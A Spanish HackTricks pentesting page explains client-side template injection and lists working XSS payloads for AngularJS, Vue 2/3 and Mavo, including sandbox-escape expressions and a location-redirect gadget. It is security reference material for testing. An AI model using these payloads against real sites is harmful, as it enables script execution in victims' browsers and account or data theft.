7.5 KiB
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Revisa los PLANES DE SUSCRIPCIÓN!
-
Descubre The PEASS Family, nuestra colección exclusiva de NFTs
-
Obtén el swag oficial de PEASS y HackTricks
-
Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
-
Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Resumen
Es como una Inyección de Plantilla en el Lado del Servidor (SSTI) pero en el cliente. El SSTI puede permitirte ejecutar código en el servidor remoto, el CSTI podría permitirte ejecutar código JavaScript arbitrario en la víctima.
La forma de probar esta vulnerabilidad es muy similar a la del SSTI, el intérprete va a esperar algo para ejecutar entre llaves dobles y lo ejecutará. Por ejemplo, usando algo como: {{ 7-7 }}
si el servidor es vulnerable verás un 0
y si no verás el original: {{ 7-7 }}
AngularJS
AngularJS es una popular biblioteca de JavaScript, que escanea el contenido de los nodos HTML que contienen el atributo ng-app
(también conocido como una directiva AngularJS). Cuando se agrega una directiva al código HTML, puedes ejecutar expresiones JavaScript dentro de llaves dobles.
Por ejemplo, si tu entrada se está reflejando dentro del body del HTML y el body está definido con ng-app
: <body ng-app>
Puedes ejecutar código JavaScript arbitrario usando llaves dobles agregándolo al body:
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>
<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
Puedes encontrar un ejemplo básico en línea de la vulnerabilidad en AngularJS en http://jsfiddle.net/2zs2yv7o/
{% hint style="danger" %}
Angular 1.6 eliminó el sandbox por lo que desde esta versión un payload como {{constructor.constructor('alert(1)')()}}
o <input ng-focus=$event.view.alert('XSS')>
debería funcionar.
{% endhint %}
VueJS
Puedes encontrar una implementación de vue.js vulnerable en https://vue-client-side-template-injection-example.azu.now.sh/
Payload funcional: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%
Y el código fuente del ejemplo vulnerable aquí: https://github.com/azu/vue-client-side-template-injection-example
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
Un buen artículo sobre CSTI en VUE se puede encontrar en https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets
V3
{{_openBlock.constructor('alert(1)')()}}
Crédito: Gareth Heyes, Lewis Ardern y PwnFunction
V2
{{constructor.constructor('alert(1)')()}}
Crédito: Mario Heiderich
Ver más payloads de VUE en https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected
Mavo
Payload:
[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]
Más payloads en https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations
Lista de detección de fuerza bruta
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
-
Descubre The PEASS Family, nuestra colección exclusiva de NFTs
-
Obtén la oficial PEASS & HackTricks swag
-
Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
-
Comparte tus trucos de hacking enviando PRs al repositorio hacktricks y al repositorio hacktricks-cloud.